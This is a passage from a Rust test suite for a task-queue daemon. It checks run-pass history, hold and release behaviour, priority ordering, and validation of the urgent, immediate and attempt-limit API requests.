17753        cost: crate::queue::PassCost,
17754    ) -> crate::queue::TaskPass {
17755        crate::queue::TaskPass {
17756            run: run.to_owned(),
17757            pass_index: index,
17758            started_at: None,
17759            cost,
17760            attempts_after: 1,
17761            settled_at: Timestamp::now(),
17762            parked: None,
17763        }
17764    }
17765
17766    const RUN_X: &str = "20261011-223708-4334";
17767
17768    #[test]
17769    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17770        use crate::queue::PassCost;
17771        let run = flow_run(RunStatus::Implementing, |s| {
17772            s.passes = vec![
17773                recorded_pass(0, parked(upgrade_cause())),
17774                recorded_pass(1, None),
17775            ];
17776        });
17777        let mut task = flow_task(&[RUN_X, RUN_X]);
17778        task.attempts = 1;
17779        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17780        let h = task_history(&task, |_| Some(run.clone()));
17781        assert_eq!(h.len(), 2);
17782        assert_eq!(h[0].kind, "competition");
17783        assert_eq!(h[1].kind, "resume");
17784        assert_eq!(
17785            (h[0].exit, h[0].attempt),
17786            (RunExit::Parked, AttemptCost::Refunded)
17787        );
17788        assert!(
17789            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17790            "{}",
17791            h[0].outcome
17792        );
17793        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17794        assert!(
17795            h[0].outcome.contains("pass #2 resumed the same run"),
17796            "{}",
17797            h[0].outcome
17798        );
17799        assert!(
17800            h[0].outcome.contains("pass 1 of 2 over run"),
17801            "{}",
17802            h[0].outcome
17803        );
17804        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17805        assert_eq!(
17806            h[0].exit_label,
17807            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17808        );
17809        let f = task_flow(&task, &h, 2, None);
17810        // Two passes of one run, one of two attempts consumed.
17811        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17812        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17813        assert!(
17814            f.edges[1].label.contains("upgrade 0.121.0"),
17815            "{}",
17816            f.edges[1].label
17817        );
17818        assert!(
17819            f.edges[1].label.contains("resume the same run"),
17820            "{}",
17821            f.edges[1].label
17822        );
17823        assert_eq!(f.nodes[1].note, Some("parked"));
17824    }
17825
17826    #[test]
17827    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17828        let mut a = flow_run(RunStatus::Implementing, |s| {
17829            s.passes = vec![
17830                recorded_pass(0, parked(upgrade_cause())),
17831                recorded_pass(1, None),
17832            ];
17833        });
17834        let mut b = flow_run(RunStatus::Failed, |s| {
17835            s.passes = vec![recorded_pass(0, None)];
17836        });
17837        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17838        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17839        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17840        let mut task = flow_task(&[]);
17841        task.start("a".into());
17842        task.start("b".into());
17843        task.start("a".into());
17844        assert_eq!(task.runs, ["b", "a"]);
17845        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17846        let h = task_history(&task, |id| {
17847            Some(if id == "a" { a.clone() } else { b.clone() })
17848        });
17849        assert_eq!(
17850            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17851            ["a", "b", "a"]
17852        );
17853        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17854        assert!(h[0].outcome.contains("upgrade"));
17855        assert_eq!(h[2].kind, "resume");
17856        assert!(h[2].pass.is_some());
17857        // The old repeated-id format must show the same recorded passes.
17858        task.runs = vec!["a".into(), "b".into(), "a".into()];
17859        let old = task_history(&task, |id| {
17860            Some(if id == "a" { a.clone() } else { b.clone() })
17861        });
17862        assert_eq!(
17863            old.iter()
17864                .map(|v| (&v.id, &v.kind, v.attempt))
17865                .collect::<Vec<_>>(),
17866            h.iter()
17867                .map(|v| (&v.id, &v.kind, v.attempt))
17868                .collect::<Vec<_>>()
17869        );
17870    }
17871
17872    #[test]
17873    fn an_upgrade_whose_target_was_not_known_says_so() {
17874        let run = flow_run(RunStatus::Implementing, |s| {
17875            s.passes = vec![
17876                recorded_pass(
17877                    0,
17878                    parked(crate::run::ParkCause::Upgrade {
17879                        from: "0.121.0".to_owned(),
17880                        to: None,
17881                    }),
17882                ),
17883                recorded_pass(1, None),
17884            ];
17885        });
17886        let task = flow_task(&[RUN_X, RUN_X]);
17887        let h = task_history(&task, |_| Some(run.clone()));
17888        assert!(
17889            h[0].outcome.contains("upgrade from 0.121.0"),
17890            "{}",
17891            h[0].outcome
17892        );
17893        // No settle record: the refund is not claimed.
17894        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17895    }
17896
17897    #[test]
17898    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17899        use crate::queue::PassCost;
17900        use crate::run::ParkCause;
17901        let run = flow_run(RunStatus::Implementing, |s| {
17902            s.passes = vec![
17903                recorded_pass(0, parked(upgrade_cause())),
17904                recorded_pass(
17905                    1,
17906                    parked(ParkCause::Interrupt {
17907                        reason: "task a1b2 asked to run first".to_owned(),
17908                    }),
17909                ),
17910                recorded_pass(2, parked(ParkCause::Operator)),
17911                recorded_pass(3, None),
17912            ];
17913        });
17914        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17915        task.attempts = 1;
17916        task.passes = (0..3)
17917            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17918            .collect();
17919        let h = task_history(&task, |_| Some(run.clone()));
17920        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17921        assert!(
17922            h[1].outcome.contains("task a1b2 asked to run first"),
17923            "{}",
17924            h[1].outcome
17925        );
17926        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17927        assert!(
17928            h[2].outcome.contains("operator asked the loop to park"),
17929            "{}",
17930            h[2].outcome
17931        );
17932        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17933        let f = task_flow(&task, &h, 2, None);
17934        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17935    }
17936
17937    #[test]
17938    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17939        let run = flow_run(RunStatus::Implementing, |s| {
17940            s.passes = vec![
17941                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17942                recorded_pass(1, None),
17943            ];
17944        });
17945        let task = flow_task(&[RUN_X, RUN_X]);
17946        let h = task_history(&task, |_| Some(run.clone()));
17947        assert_eq!(h[0].exit, RunExit::Interrupted);
17948        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17949        assert!(
17950            h[0].outcome.contains("without recording why"),
17951            "{}",
17952            h[0].outcome
17953        );
17954        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17955        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17956    }
17957
17958    #[test]
17959    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17960        use crate::queue::PassCost;
17961        // Three entries, but the run only began keeping passes at the last
17962        // two: the first is legacy and must not be given a cause.
17963        let run = flow_run(RunStatus::Implementing, |s| {
17964            s.passes = vec![
17965                recorded_pass(0, parked(upgrade_cause())),
17966                recorded_pass(1, None),
17967            ];
17968        });
17969        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17970        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17971        let h = task_history(&task, |_| Some(run.clone()));
17972        assert!(h[0].pass.is_none());
17973        assert_eq!(h[0].exit, RunExit::Interrupted);
17974        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17975        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17976        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17977        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17978        // A run with no passes at all is entirely unknown.
17979        let legacy = flow_run(RunStatus::Implementing, |_| {});
17980        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17981        assert!(h.iter().all(|v| v.pass.is_none()));
17982        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17983    }
17984
17985    #[test]
17986    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17987        use crate::queue::PassCost;
17988        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17989        // task. The two entries are passes 0 and 2.
17990        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17991        web.task_entry = false;
17992        let run = flow_run(RunStatus::Implementing, |s| {
17993            s.passes = vec![
17994                recorded_pass(0, parked(upgrade_cause())),
17995                web.clone(),
17996                recorded_pass(2, None),
17997            ];
17998        });
17999        let mut task = flow_task(&[RUN_X, RUN_X]);
18000        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18001        let h = task_history(&task, |_| Some(run.clone()));
18002        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18003        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
18004
18005        // Legacy first entry, then a web resume that parked for an upgrade,
18006        // then the daemon's pass: the legacy entry must stay unknown.
18007        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
18008        web0.task_entry = false;
18009        let run = flow_run(RunStatus::Implementing, |s| {
18010            s.passes = vec![web0.clone(), recorded_pass(1, None)];
18011        });
18012        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
18013        assert!(h[0].pass.is_none());
18014        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18015        assert!(h[1].pass.is_some());
18016    }
18017
18018    #[tokio::test]
18019    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
18020        let dir = tempfile::tempdir().unwrap();
18021        let queue = Queue::at(dir.path().join("queue"));
18022        let ui = Arc::new(Ui::new(
18023            queue.clone(),
18024            Questions::at(dir.path().join("questions")),
18025            Talks::at(dir.path().join("talks")),
18026            dir.path().join("runs"),
18027            dir.path().to_path_buf(),
18028            dir.path().to_path_buf(),
18029        ));
18030        let mut t = Task::new(
18031            "recover".into(),
18032            "Inspect".into(),
18033            PathBuf::from("."),
18034            Source::Human,
18035        );
18036        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
18037        t.start("run-A".into());
18038        t.release_operator("choice", Some("resume-question"));
18039        t.resume_override = Some(crate::queue::OperatorResume {
18040            question_id: "resume-question".into(),
18041            at: jiff::Timestamp::now(),
18042            conductor_rehold: None,
18043            forced: true,
18044            pinned_run: Some("run-A".into()),
18045        });
18046        t.hold_machine(Some("inspection pending".into()));
18047        t.edit("recover".into(), "Reuse approved PR head".into())
18048            .unwrap();
18049        queue.put(&mut t).unwrap();
18050        let mut cli = t.clone();
18051        cli.release_operator("cli", None);
18052        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
18053        let reloaded = queue.get(&t.id).unwrap();
18054        assert_eq!(reply.task.status, TaskStatus::Queued);
18055        assert!(reloaded.resume_override.is_none());
18056        assert_eq!(reloaded.answers, t.answers);
18057        let mut web = reloaded.resumption.unwrap();
18058        let cli = cli.resumption.unwrap();
18059        assert_eq!(web.source, "web");
18060        web.source = cli.source.clone();
18061        web.at = cli.at;
18062        assert_eq!(web, cli);
18063    }
18064
18065    #[tokio::test]
18066    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
18067        let f = Fixture::start().await;
18068        let queue = f.queue();
18069        let mut task = Task::new(
18070            "spent".to_owned(),
18071            "Try again".to_owned(),
18072            PathBuf::from("/repo/magi"),
18073            Source::Human,
18074        );
18075        task.start("20260902-140502-bbbb".to_owned());
18076        task.fail("agent gave up", 9);
18077        queue.put(&mut task).expect("file the task");
18078
18079        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18080        assert_eq!(held.status, 200);
18081        assert_eq!(held.json()["status_str"], "held");
18082
18083        let released = f
18084            .post(&format!("/api/queue/{}/release", task.id), None)
18085            .await;
18086        assert_eq!(released.status, 200);
18087        assert_eq!(released.json()["status_str"], "queued");
18088        assert_eq!(released.json()["resumption"]["source"], "web");
18089        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
18090        let mut cli = task.clone();
18091        cli.release_operator("cli", None);
18092        let web = queue.get(&task.id).unwrap().resumption.unwrap();
18093        let cli = cli.resumption.unwrap();
18094        assert_eq!(web.instruction, cli.instruction);
18095        assert_eq!(web.answers_through, cli.answers_through);
18096        assert_eq!(web.runs_through, cli.runs_through);
18097        assert_eq!(web.cleared_reason, cli.cleared_reason);
18098        assert_eq!(
18099            released.json()["attempts"],
18100            0,
18101            "release is a real second chance, not an instant re-hold"
18102        );
18103        assert_eq!(
18104            queue.get(&task.id).expect("reload").status,
18105            TaskStatus::Queued,
18106            "the change is on disk, not only in the reply"
18107        );
18108        assert!(
18109            !f.home
18110                .path()
18111                .join("queue")
18112                .join(format!("{}.lock", task.id))
18113                .exists(),
18114            "the claim the mutation took is released again"
18115        );
18116    }
18117
18118    #[tokio::test]
18119    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
18120        let f = Fixture::start().await;
18121        let queue = f.queue();
18122        let mut task = Task::new(
18123            "busy".to_owned(),
18124            "Running right now".to_owned(),
18125            PathBuf::from("/repo/magi"),
18126            Source::Human,
18127        );
18128        queue.put(&mut task).expect("file the task");
18129        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18130
18131        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18132
18133        assert_eq!(res.status, 409);
18134        assert_eq!(
18135            queue.get(&task.id).expect("reload").status,
18136            TaskStatus::Queued,
18137            "the refused hold changed nothing"
18138        );
18139    }
18140
18141    #[tokio::test]
18142    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
18143        let f = Fixture::start().await;
18144        let queue = f.queue();
18145        let mut task = Task::new(
18146            "waiting on the migration".to_owned(),
18147            "Do the thing".to_owned(),
18148            PathBuf::from("/repo/magi"),
18149            Source::Human,
18150        );
18151        queue.put(&mut task).expect("file the task");
18152
18153        let held = f
18154            .post(
18155                &format!("/api/queue/{}/hold", task.id),
18156                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
18157            )
18158            .await;
18159        assert_eq!(held.status, 200, "{}", held.body);
18160        assert_eq!(held.json()["status_str"], "held");
18161        assert_eq!(
18162            held.json()["hold_reason"],
18163            "waiting for 20260101-000000-aaaa to land"
18164        );
18165
18166        let listed = f.get("/api/queue").await.json();
18167        assert_eq!(
18168            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
18169            "the card reads the reason off the same list route"
18170        );
18171
18172        // A hold with no body at all must keep working - most holds have no
18173        // reason to give.
18174        let mut plain = Task::new(
18175            "no reason given".to_owned(),
18176            "Do another thing".to_owned(),
18177            PathBuf::from("/repo/magi"),
18178            Source::Human,
18179        );
18180        queue.put(&mut plain).expect("file the task");
18181        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
18182        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
18183        assert!(held_plain.json()["hold_reason"].is_null());
18184
18185        let released = f
18186            .post(&format!("/api/queue/{}/release", task.id), None)
18187            .await;
18188        assert_eq!(released.status, 200);
18189        assert!(
18190            released.json()["hold_reason"].is_null(),
18191            "a release must clear the reason so the next hold does not inherit it"
18192        );
18193    }
18194
18195    #[test]
18196    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18197        for urgent in [true, false] {
18198            let body: UrgentBody =
18199                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18200            assert_eq!(body.urgent, urgent);
18201        }
18202        for input in [
18203            r#"{}"#,
18204            r#"{"urgent":null}"#,
18205            r#"{"urgent":"true"}"#,
18206            r#"{"urgent":1}"#,
18207            r#"{"urgent":true,"extra":false}"#,
18208        ] {
18209            assert!(
18210                serde_json::from_str::<UrgentBody>(input).is_err(),
18211                "{input}"
18212            );
18213        }
18214    }
18215
18216    #[tokio::test]
18217    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18218        let home = TempDir::new().unwrap();
18219        let q = Queue::at(home.path().join("queue"));
18220        let ui = Arc::new(Ui::new(
18221            q.clone(),
18222            Questions::at(home.path().join("questions")),
18223            Talks::at(home.path().join("talks")),
18224            home.path().join("runs"),
18225            home.path().into(),
18226            home.path().into(),
18227        ));
18228        let mut task = Task::new(
18229            "urgent handler".into(),
18230            "keep".into(),
18231            home.path().into(),
18232            Source::Human,
18233        );
18234        for status in [TaskStatus::Queued, TaskStatus::Held] {
18235            task.status = status;
18236            q.put(&mut task).unwrap();
18237            for urgent in [true, true, false, false] {
18238                let saved = queue_urgent(
18239                    State(Arc::clone(&ui)),
18240                    Path(task.short().into()),
18241                    Ok(Json(UrgentBody { urgent })),
18242                )
18243                .await
18244                .unwrap();
18245                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18246                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18247            }
18248        }
18249        task.status = TaskStatus::Queued;
18250        q.put(&mut task).unwrap();
18251        let claim = q.claim(&task.id).unwrap();
18252        let error = queue_urgent(
18253            State(Arc::clone(&ui)),
18254            Path(task.id.clone()),
18255            Ok(Json(UrgentBody { urgent: true })),
18256        )
18257        .await
18258        .unwrap_err();
18259        assert_eq!(error.status, StatusCode::CONFLICT);
18260        assert!(error.message.contains("released"));
18261        drop(claim);
18262        for status in [
18263            TaskStatus::Running,
18264            TaskStatus::Done,
18265            TaskStatus::Failed,
18266            TaskStatus::Blocked,
18267            TaskStatus::Parked,
18268        ] {
18269            task.status = status;
18270            q.put(&mut task).unwrap();
18271            let error = queue_urgent(
18272                State(Arc::clone(&ui)),
18273                Path(task.id.clone()),
18274                Ok(Json(UrgentBody { urgent: false })),
18275            )
18276            .await
18277            .unwrap_err();
18278            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18279            assert!(error.message.contains(status.as_str()));
18280        }
18281    }
18282
18283    #[tokio::test]
18284    async fn urgent_api_updates_preserves_and_validates_tasks() {
18285        let f = Fixture::start().await;
18286        let q = f.queue();
18287        let mut t = Task::new(
18288            "urgent API".into(),
18289            "unchanged".into(),
18290            PathBuf::from("/repo/magi"),
18291            Source::Human,
18292        );
18293        t.attempts = 2;
18294        t.priority = 9;
18295        t.interrupt = true;
18296        t.hold_reason = Some("waiting for approval".into());
18297        for status in [TaskStatus::Queued, TaskStatus::Held] {
18298            t.status = status;
18299            q.put(&mut t).unwrap();
18300            for urgent in [true, true, false, false] {
18301                let response = f
18302                    .post(
18303                        &format!("/api/queue/{}/urgent", t.short()),
18304                        Some(&format!("{{\"urgent\":{urgent}}}")),
18305                    )
18306                    .await;
18307                assert_eq!(response.status, 200, "{}", response.body);
18308                assert_eq!(response.json()["urgent"], urgent);
18309                let saved = q.get(&t.id).unwrap();
18310                let mut before = serde_json::to_value(&t).unwrap();
18311                let mut after = serde_json::to_value(saved).unwrap();
18312                before["urgent"] = urgent.into();
18313                before.as_object_mut().unwrap().remove("updated_at");
18314                after.as_object_mut().unwrap().remove("updated_at");
18315                assert_eq!(after, before);
18316            }
18317        }
18318        let route = format!("/api/queue/{}/urgent", t.id);
18319        for body in [
18320            r#"{}"#,
18321            r#"{"urgent":null}"#,
18322            r#"{"urgent":"true"}"#,
18323            r#"{"urgent":1}"#,
18324            r#"{"urgent":true,"extra":false}"#,
18325            "{",
18326        ] {
18327            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18328        }
18329        t.status = TaskStatus::Queued;
18330        q.put(&mut t).unwrap();
18331        let claim = q.claim(&t.id).unwrap();
18332        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18333        assert_eq!(response.status, 409, "{}", response.body);
18334        assert!(!q.get(&t.id).unwrap().urgent);
18335        drop(claim);
18336        for status in [
18337            TaskStatus::Running,
18338            TaskStatus::Done,
18339            TaskStatus::Failed,
18340            TaskStatus::Blocked,
18341            TaskStatus::Parked,
18342        ] {
18343            t.status = status;
18344            q.put(&mut t).unwrap();
18345            for urgent in [true, false] {
18346                let response = f
18347                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18348                    .await;
18349                assert_eq!(response.status, 400, "{}", response.body);
18350                assert!(response.body.contains(status.as_str()));
18351                assert!(response.body.contains("queued or held"));
18352                assert!(!q.get(&t.id).unwrap().urgent);
18353            }
18354        }
18355        assert_eq!(
18356            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18357                .await
18358                .status,
18359            404
18360        );
18361    }
18362
18363    #[test]
18364    fn immediate_request_requires_a_boolean_and_rejects_unknown_fields() {
18365        for immediate in [true, false] {
18366            let body: ImmediateBody =
18367                serde_json::from_value(serde_json::json!({ "immediate": immediate })).unwrap();
18368            assert_eq!(body.immediate, immediate);
18369        }
18370        for input in [
18371            r#"{}"#,
18372            r#"{"immediate":null}"#,
18373            r#"{"immediate":"true"}"#,
18374            r#"{"immediate":1}"#,
18375            r#"{"immediate":true,"extra":false}"#,
18376        ] {
18377            assert!(
18378                serde_json::from_str::<ImmediateBody>(input).is_err(),
18379                "{input}"
18380            );
18381        }
18382    }
18383
18384    #[tokio::test]
18385    async fn immediate_api_updates_preserves_urgent_returns_admission_and_validates_tasks() {
18386        let f = Fixture::start().await;
18387        let q = f.queue();
18388        let mut t = Task::new(
18389            "immediate API".into(),
18390            "unchanged".into(),
18391            PathBuf::from("/repo/magi"),
18392            Source::Human,
18393        );
18394        t.attempts = 2;
18395        t.priority = 9;
18396        t.interrupt = true;
18397        t.urgent = true;
18398        t.hold_reason = Some("waiting for approval".into());
18399        for status in [TaskStatus::Queued, TaskStatus::Held] {
18400            t.status = status;
18401            q.put(&mut t).unwrap();
18402            for immediate in [true, true, false, false] {
18403                let response = f
18404                    .post(
18405                        &format!("/api/queue/{}/immediate", t.short()),
18406                        Some(&format!("{{\"immediate\":{immediate}}}")),
18407                    )
18408                    .await;
18409                assert_eq!(response.status, 200, "{}", response.body);
18410                let payload = response.json();
18411                assert_eq!(payload["immediate"], immediate);
18412                assert_eq!(payload["urgent"], true);
18413                if immediate {
18414                    assert_eq!(payload["admission"]["mode"], "immediate");
18415                    let label = payload["admission"]["label"].as_str().unwrap_or_default();
18416                    assert!(
18417                        !label.contains("claimed by another process"),
18418                        "mutate must drop its claim before computing admission: {payload}"
18419                    );
18420                    if status == TaskStatus::Held {
18421                        assert_eq!(label, "Immediate: waiting — held (waiting for approval)");
18422                    }
18423                }
18424                let saved = q.get(&t.id).unwrap();
18425                let mut before = serde_json::to_value(&t).unwrap();
18426                let mut after = serde_json::to_value(saved).unwrap();
18427                before["immediate"] = immediate.into();
18428                before.as_object_mut().unwrap().remove("updated_at");
18429                after.as_object_mut().unwrap().remove("updated_at");
18430                assert_eq!(after, before);
18431            }
18432        }
18433        let route = format!("/api/queue/{}/immediate", t.id);
18434        for body in [
18435            r#"{}"#,
18436            r#"{"immediate":null}"#,
18437            r#"{"immediate":"true"}"#,
18438            r#"{"immediate":1}"#,
18439            r#"{"immediate":true,"extra":false}"#,
18440            "{",
18441        ] {
18442            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18443        }
18444        t.status = TaskStatus::Queued;
18445        q.put(&mut t).unwrap();
18446        let claim = q.claim(&t.id).unwrap();
18447        let response = f.post(&route, Some(r#"{"immediate":true}"#)).await;
18448        assert_eq!(response.status, 409, "{}", response.body);
18449        assert!(!q.get(&t.id).unwrap().immediate);
18450        drop(claim);
18451        for status in [
18452            TaskStatus::Running,
18453            TaskStatus::Done,
18454            TaskStatus::Failed,
18455            TaskStatus::Blocked,
18456            TaskStatus::Parked,
18457        ] {
18458            t.status = status;
18459            q.put(&mut t).unwrap();
18460            for immediate in [true, false] {
18461                let response = f
18462                    .post(&route, Some(&format!("{{\"immediate\":{immediate}}}")))
18463                    .await;
18464                assert_eq!(response.status, 400, "{}", response.body);
18465                assert!(response.body.contains(status.as_str()));
18466                assert!(response.body.contains("queued or held"));
18467                assert!(!q.get(&t.id).unwrap().immediate);
18468            }
18469        }
18470        assert_eq!(
18471            f.post(
18472                "/api/queue/missing/immediate",
18473                Some(r#"{"immediate":true}"#)
18474            )
18475            .await
18476            .status,
18477            404
18478        );
18479    }
18480
18481    #[tokio::test]
18482    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18483        let f = Fixture::start().await;
18484        let queue = f.queue();
18485        let mut older = Task::new(
18486            "filed first".to_owned(),
18487            "x".to_owned(),
18488            PathBuf::from("/repo/magi"),
18489            Source::Human,
18490        );
18491        older.id = "20260101-000001-aaaa".to_owned();
18492        let mut newer = Task::new(
18493            "filed second".to_owned(),
18494            "x".to_owned(),
18495            PathBuf::from("/repo/magi"),
18496            Source::Human,
18497        );
18498        newer.id = "20260101-000002-bbbb".to_owned();
18499        queue.put(&mut older).expect("file older");
18500        queue.put(&mut newer).expect("file newer");
18501
18502        // Equal priority: the newer task leads, the same order the old
18503        // newest-first `list()` already gave every equal-priority queue.
18504        let before = f.get("/api/queue").await.json();
18505        assert_eq!(before[0]["id"], newer.id);
18506        assert_eq!(before[1]["id"], older.id);
18507
18508        // Raising the *older* task is the meaningful case: it can only lead
18509        // now because its priority says so, not because it happens to be
18510        // newest.
18511        let raised = f
18512            .post(
18513                &format!("/api/queue/{}/priority", older.id),
18514                Some(r#"{"priority":10}"#),
18515            )
18516            .await;
18517        assert_eq!(raised.status, 200, "{}", raised.body);
18518        assert_eq!(raised.json()["priority"], 10);
18519
18520        let after = f.get("/api/queue").await.json();
18521        let names: Vec<&str> = after
18522            .as_array()
18523            .unwrap()
18524            .iter()
18525            .map(|t| t["id"].as_str().unwrap())
18526            .collect();
18527        // Highest priority first, which is the order next_runnable and
18528        // `magi task list` both use - GET /api/queue must agree with it
18529        // immediately, not just once the loop claims the task.
18530        assert_eq!(names[0], older.id, "the raised task now sorts first");
18531    }
18532
18533    #[tokio::test]
18534    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18535        let f = Fixture::start().await;
18536        let queue = f.queue();
18537        let mut tasks = Vec::new();
18538        for id in [
18539            "20260101-000001-aaaa",
18540            "20260101-000002-bbbb",
18541            "20260101-000003-cccc",
18542        ] {
18543            let mut task = Task::new(
18544                id.into(),
18545                "x".into(),
18546                PathBuf::from("/repo/magi"),
18547                Source::Human,
18548            );
18549            task.id = id.into();
18550            queue.put(&mut task).unwrap();
18551            tasks.push(task);
18552        }
18553        assert_eq!(
18554            queue.next_runnable().unwrap().id,
18555            tasks[0].id,
18556            "equal priorities use ascending id"
18557        );
18558        let route = format!("/api/queue/{}/priority", tasks[2].id);
18559        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18560        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18561        tasks[1].start("upgrade-run".into());
18562        tasks[1].park("upgrade");
18563        tasks[1].record_pass_at(
18564            "upgrade-run",
18565            0,
18566            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18567            1,
18568            Some(crate::run::ParkCause::Upgrade {
18569                from: "old".into(),
18570                to: None,
18571            }),
18572        );
18573        queue.put(&mut tasks[1]).unwrap();
18574        let rows = f.get("/api/queue").await.json();
18575        let upgrade = rows
18576            .as_array()
18577            .unwrap()
18578            .iter()
18579            .find(|row| row["id"] == tasks[1].id)
18580            .unwrap();
18581        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18582        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18583        tasks[2] = queue.get(&tasks[2].id).unwrap();
18584        tasks[2].start("running-run".into());
18585        queue.put(&mut tasks[2]).unwrap();
18586        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18587        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18588    }
18589
18590    #[tokio::test]
18591    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18592        let dir = TempDir::new().unwrap();
18593        let q = Queue::at(dir.path().join("queue"));
18594        let ui = Arc::new(Ui::new(
18595            q.clone(),
18596            Questions::at(dir.path().join("questions")),
18597            Talks::at(dir.path().join("talks")),
18598            dir.path().join("runs"),
18599            dir.path().to_path_buf(),
18600            dir.path().to_path_buf(),
18601        ));
18602        let mut t = Task::new(
18603            "budget".into(),
18604            "keep".into(),
18605            dir.path().into(),
18606            Source::Human,
18607        );
18608        t.attempts = 2;
18609        t.runs.push("prior-run".into());
18610        t.hold_manual(Some("waiting".into()));
18611        q.put(&mut t).unwrap();
18612        let change = |value| {
18613            queue_attempt_limit(
18614                State(ui.clone()),
18615                Path(t.id.clone()),
18616                Ok(Json(AttemptLimitBody {
18617                    attempt_limit: value,
18618                })),
18619            )
18620        };
18621        for value in [
18622            serde_json::json!(3),
18623            serde_json::Value::Null,
18624            serde_json::json!(1),
18625        ] {
18626            let response = change(value.clone()).await.unwrap();
18627            assert_eq!(
18628                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18629                value
18630            );
18631            let saved = q.get(&t.id).unwrap();
18632            assert_eq!(
18633                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18634                value
18635            );
18636            assert_eq!(saved.status, TaskStatus::Held);
18637            assert_eq!(saved.attempts, t.attempts);
18638            assert_eq!(saved.runs, t.runs);
18639            assert_eq!(saved.hold_reason, t.hold_reason);
18640            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18641                .await
18642                .unwrap()
18643                .0;
18644            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18645            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
